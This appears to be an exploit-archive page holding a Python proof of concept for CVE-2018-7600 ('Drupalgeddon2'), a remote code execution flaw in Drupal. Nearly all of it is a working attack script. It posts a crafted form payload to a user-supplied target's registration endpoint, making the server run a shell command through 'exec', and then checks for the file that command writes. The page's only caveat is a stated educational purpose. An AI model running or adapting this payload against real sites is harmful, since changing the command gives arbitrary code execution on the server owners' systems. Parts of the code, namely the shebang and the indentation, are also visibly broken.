Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 drupalgeddon2 remote code execution (poc) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2018-04-13 | Type : webapps | Platform : php
This exploit / vulnerability Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 drupalgeddon2 remote code execution (poc) is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

#!/usr/bin/env
import sys
import requests

print ('################################################################')
print ('# Proof-Of-Concept for CVE-2018-7600')
print ('# by Vitalii Rudnykh')
print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')
print ('# https://github.com/a2u/CVE-2018-7600')
print ('################################################################')
print ('Provided only for educational or information purposes\n')

target = input('Enter target url (example: https://domain.ltd/): ')

# Add proxy support (eg. BURP to analyze HTTP(s) traffic)
# set verify = False if your proxy certificate is self signed
# remember to set proxies both for http and https
#
# example:
# proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
# verify = False
proxies = {}
verify = True

url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo ";-)" | tee hello.txt'}

r = requests.post(url, proxies=proxies, data=payload, verify=verify)
check = requests.get(target + 'hello.txt')
if check.status_code != 200:
sys.exit("Not exploitable")
print ('\nCheck: '+target+'hello.txt')